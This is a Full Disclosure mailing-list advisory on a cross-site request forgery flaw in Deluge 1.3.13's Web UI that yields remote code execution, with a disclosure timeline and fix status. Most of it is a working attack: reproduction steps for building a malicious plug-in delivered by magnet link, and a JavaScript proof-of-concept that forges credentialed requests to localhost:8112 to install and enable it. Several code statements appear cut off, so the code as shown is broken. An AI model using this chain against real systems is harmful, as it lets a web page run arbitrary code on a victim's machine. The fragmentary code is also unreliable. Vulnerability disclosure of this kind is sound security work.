[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13

Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13

Kyle Neideck, February 2017


Deluge is a BitTorrent client available from http://deluge-torrent.org.


Fixed in the (public) source code, but not in binary releases yet. See

Install from source or use the web UI from an incognito/private window until
new binaries are released.


Deluge version 1.3.13 is vulnerable to cross-site request forgery in the Web UI
plug-in resulting in remote code execution. Requests made to the /json endpoint
are not checked for CSRF. See the "render" function of the "JSON" class in

The Web UI plug-in is installed, but not enabled, by default. If the user has
enabled the Web UI plug-in and logged into it, a malicious web page can use
forged requests to make Deluge download and install a Deluge plug-in provided
by the attacker. The plug-in can then execute arbitrary code as the user
running Deluge (usually the local user account).


2017-03-01 Disclosed the vulnerability to Calum Lind (Cas) of Deluge Team
2017-03-01 Vulnerability fixed by Calum Lind
2017-03-05 Advisory released

To Reproduce

 - Create/find a Deluge plug-in to be installed on the victim machine. For
   example, create an empty plug-in with
       python deluge/scripts/create_plugin.py --name malicious --basepath . \
           --author-name "n" --author-email "e"
   and add a line to its __init__.py to launch calc.exe.
 - Build the plug-in as a .egg (if necessary):
       python malicious/setup.py bdist_egg
 - Make a torrent containing the .egg and seed it somewhere.
 - Create a Magnet link for the torrent.
 - In the proof-of-concept page below, update the PLUGIN_NAME, PLUGIN_FILE and
   MAGNET_LINK constants.
 - Put the PoC on a web server somewhere. Serving it locally is fine.
 - In Deluge, open Preferences, go to the Plugins category and enable the Web
   UI plug-in.
 - Go to the WebUi preferences section and check "Enable web interface". The
   port should be set to 8112 by default.
 - If you're serving the PoC over HTTPS, check "Enable SSL" so its requests
   don't get blocked as mixed content. If you're not, SSL can be enabled or
 - Go to localhost:8112 in a browser on the victim machine and log in.
 - Open the PoC in the same browser.

The PoC sends requests to localhost:8112 that include cookies. The first
request adds the torrent, which downloads the .egg (the plug-in) to /tmp. It
then sends repeated requests to install the .egg and enable it. The attacker's
code in the plug-in runs when the plug-in is enabled.

For the attack to be successful, the PoC page must be left open until the
malicious plug-in finishes downloading. An attacker could avoid that limitation
by using the Execute plug-in, which is installed by default, but Deluge has to
be restarted before the Execute plug-in can be used. I don't think that can be
done from the web UI, so the attacker's code would only execute after the
victim restarted Deluge and then added/removed/completed a torrent.

The PoC adds the plug-in torrent using a Magnet link because it would need to
read the web UI's responses to add a .torrent file, which CORS prevents.

Proof of Concept

Deluge 1.3.13 Web UI CSRF

Tested on Linux, macOS and Windows.

Kyle Neideck, February 2017
kyle AT bearisdriving.com
let PLUGIN_NAME = 'malicious';
let PLUGIN_FILE = 'malicious-0.1-py2.7.egg';
    'magnet:?xt=urn:btih:1b02570de69c0cb6d12c544126a32c67c79024b4' +
        '&dn=malicious-0.1-py2.7.egg' +

function send_deluge_json(json) {
    console.log('Sending: ' + json);

    for (let proto of ['http','https']) {
        let xhr = new XMLHttpRequest();

        xhr.open('POST', proto + '://localhost:8112/json');
        xhr.setRequestHeader('Content-Type', 'text/plain');
        xhr.withCredentials = true;
        xhr.onload = function() { console.log(xhr); };

let download_location =
    (navigator.appVersion.indexOf("Win") != -1) ?
        'C:\\\\Users\\\\Public' : '/tmp';

// Download a malicious plugin using a Magnet link.
// Using the /upload endpoint or adding a .torrent file wouldn't work. We could
// upload the file (either a .torrent or the plug-in itself), but it would be
// saved in a temp dir with a random name. CORS would prevent us from reading
// the path to the file from the response, and to finish the process we'd need
// to send a second request that includes that path.
send_deluge_json('{' +
    '"method":"web.add_torrents",' +
    '"params":[[{' +
        '"path":"' + MAGNET_LINK + '",' +
        '"options":{' +
            '"file_priorities":[],' +
            '"add_paused":false,' +
            '"compact_allocation":false,' +
            '"download_location":"' + download_location + '",' +
            '"move_completed":false,' +
            '"move_completed_path":"' + download_location + '",' +
            '"max_connections":-1,' +
            '"max_download_speed":-1,' +
            '"max_upload_slots":-1,' +
            '"max_upload_speed":-1,' +
            '"prioritize_first_last_pieces":false}}]],' +

window.stop = false;

// Repeatedly try to enable the plugin, since we can't tell when it will finish
// downloading.
function try_to_add_and_enable_plugin() {
    send_deluge_json('{' +
        '"method":"web.upload_plugin",' +
        '"params":["' + PLUGIN_FILE + '","' +
            download_location + '/' + PLUGIN_FILE + '"],' +

    send_deluge_json('{' +
        '"method":"core.enable_plugin",' +
        '"params":["' + PLUGIN_NAME + '"],' +

    if (!window.stop) {
        window.setTimeout(try_to_add_and_enable_plugin, 500);

<button onclick="window.stop = true">Stop sending requests</button>

Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/